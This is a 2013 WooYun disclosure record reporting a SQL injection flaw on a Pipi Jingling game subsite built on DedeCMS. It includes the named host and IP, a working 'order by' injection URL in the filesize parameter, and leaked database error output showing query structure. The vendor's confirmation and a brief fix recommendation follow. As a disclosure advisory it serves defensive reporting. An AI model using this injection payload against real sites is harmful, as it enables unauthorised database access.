当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-027149

漏洞标题:皮皮精灵旗下分站存在SQL注射漏洞

相关厂商:皮皮精灵

漏洞作者: 猪猪侠

提交时间:2013-06-29 01:11

修复时间:2013-08-13 01:12

公开时间:2013-08-13 01:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-06-29: 细节已通知厂商并且等待厂商处理中
2013-06-29: 厂商已经确认,细节仅向厂商公开
2013-07-09: 细节向核心白帽子及相关领域专家公开
2013-07-19: 细节向普通白帽子公开
2013-07-29: 细节向实习白帽子公开
2013-08-13: 细节向公众公开

简要描述:

皮皮精灵旗下分站,存在SQL注射漏洞,夜深了,不深入测试了,大家都注意休息。
听说这个厂商很好,会给高分。

详细说明:

#1 位于同一服务器
Ping plus.youxipai.com [114.112.65.19]
Ping www.pp.cc [114.112.65.19]
http://plus.youxipai.com/search.php?typeid=3&filesize=1t1 order by 31--

Technical Support: http://bbs.dedecms.com
Error page: /search.php?typeid=3&filesize=1t1'
Error infos: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
Error sql: Select arc.* From `cms_addon_pcgames`,`cms_archives` arc where arc.typeid in (1,2,3,4,5,6,7,8,9,10,1169,70,71,72,73,74,75,76,77,78,9883,84,85,92,91,90,86,87,88,89,93,94,95) And arc.arcrank > -1 AND `cms_addon_pcgames`.`aid`=arc.`id` AND `cms_addon_pcgames`.`filesize` BETWEEN 1 AND 1\'
DedeCMS Error Warning!
Technical Support: http://bbs.dedecms.com
Error page: /search.php?typeid=3&filesize=1t1'
Error infos: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by arc.sortrank desc LIMIT 0,10' at line 1
Error sql: SELECT arc.*,act.typedir,act.typename,act.isdefault,act.defaultname,act.namerule,act.namerule2,act.ispart,act.moresite,act.siteurl,act.sitepath FROM `cms_addon_pcgames`,`cms_archives` arc LEFT JOIN `cms_arctype` act ON arc.typeid=act.id WHERE `cms_addon_pcgames`.`aid`=arc.id AND arc.typeid in (1,2,3,4,5,6,7,8,9,10,1169,70,71,72,73,74,75,76,77,78,9883,84,85,92,91,90,86,87,88,89,93,94,95) And arc.arcrank > -1 AND `cms_addon_pcgames`.`filesize` BETWEEN 1 AND 1\' order by arc.sortrank desc LIMIT 0,10


pp1.png


# 数据表字段数为32

pp2.png

漏洞证明:

# 回显正常

pp3.png

修复方案:

客户端提交的变量强制安全过滤!
从SQL的调试返回结果,发现这个分站由DEDECMS二次开发的,可能附带有相关漏洞。

版权声明:转载请注明来源 猪猪侠@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-06-29 10:09

厂商回复:

感谢您的发现,我们已经向你索引要了联系方式,希望尽快回应。否则只有到下周才有时间了。。

最新状态:

暂无